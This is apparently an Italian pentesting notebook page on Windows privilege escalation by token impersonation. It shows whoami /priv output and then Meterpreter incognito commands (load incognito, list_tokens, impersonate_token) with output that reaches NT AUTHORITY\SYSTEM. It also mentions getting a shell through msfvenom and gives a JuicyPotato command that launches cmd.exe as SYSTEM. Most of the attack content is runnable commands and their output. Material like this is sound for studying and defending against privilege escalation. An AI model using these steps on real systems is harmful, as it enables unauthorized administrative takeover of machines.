tags: priv_esc incognito impersonification token SeImpersonatePrivilege
Utilizzo dei privilegi e dei token
PS C:\Program Files (x86)\Jenkins> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links DisabledSi puòvedere che sono abilitati due privilegi (SeDebugPrivilege, SeImpersonatePrivilege). Usiamo il modulo incognito che ci permetterà di sfruttare questa vulnerabilità. Possiamo usare load_incognito per caricare il modulo incognito con meterpreter:
Quando tramite il comando “whoami /priv” otteniamo come privilegio SeImpersonatePrivilege su Enabled possiamo cercare di impersonificare un token di un utente che possiede maggiori privilegi come NT-Authority. Per farlo possiamo caricarci una shell meterpreter tramite msfvenom sulla nostra macchina Windows vittima e poi eseguire i seguenti comandi:
meterpreter > load incognito #Qua carichiamo incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g #Qua vediamo quali token possiamo usare
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\WdiSystemHost
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv
Impersonation Tokens Available
========================================
No tokens availableDa questo output possiamo vedere che possiamo utilizzare BUILTIN\Administrators per ottenere privilegi di amministratore tramite il seguente comando:
meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMDopo aver ottenuto i privilegi di NT-Authority possiamo notare che non li abbiamo effettivamente perchè Windows ha un modo strano di rilasciare i privilegi quindi di fatto non possiamo ancora entrare nelle cartelle sensibili come config perchè abbiamo solo impersonificato un processo e non l’utente effettivo e quindi quel processo non ha accesso alle cartelle più sensibili, quindi per ottenere i privilegi effettivi dobbiamo migrare su un altro processo di sistema che ci fornirà privilegi assoluti, per farlo segui questa pagina Migrazione.
Sfruttamento dei Token senza utlizzare meterpreter
E possibile fare qualcosa di simile senza Meterpreter e senza il modulo Incognito, ma è più complicato. Questo perché Incognito fornisce una comoda interfaccia per gestire i token, ma puoi comunque sfruttare i token manualmente o con strumenti nativi di Windows (o altri exploit). Ecco alcune alternative:
- Utilizzo di strumenti nativi di Windows:
- PowerShell: puoi utilizzare PowerShell per cercare token disponibili e usarli per impersonare altri utenti. In combinazione con funzioni di PowerShell come
Invoke-TokenManipulation, è possibile emulare alcune funzionalità di Incognito. - runas: in alcuni casi, se hai un token disponibile, puoi utilizzare il comando
runasper eseguire un comando con privilegi elevati.
- Sfruttare manualmente il SeImpersonatePrivilege:
Puoi usare un exploit chiamato JuicyPotato o la sua variante RoguePotato, strumenti che permettono di sfruttare il privilegio di impersonificazione su Windows per elevare i privilegi a NT AUTHORITY\SYSTEM.
JuicyPotato e RoguePotato funzionano sfruttando il fatto che Windows consente ai servizi con il privilegio di impersonare di elevare i propri privilegi a livello di sistema utilizzando chiamate COM locali.
Esempio con JuicyPotato:
JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337
In questo esempio, JuicyPotato cercherà di sfruttare il privilegio SeImpersonate per eseguire il comando cmd.exe come SYSTEM.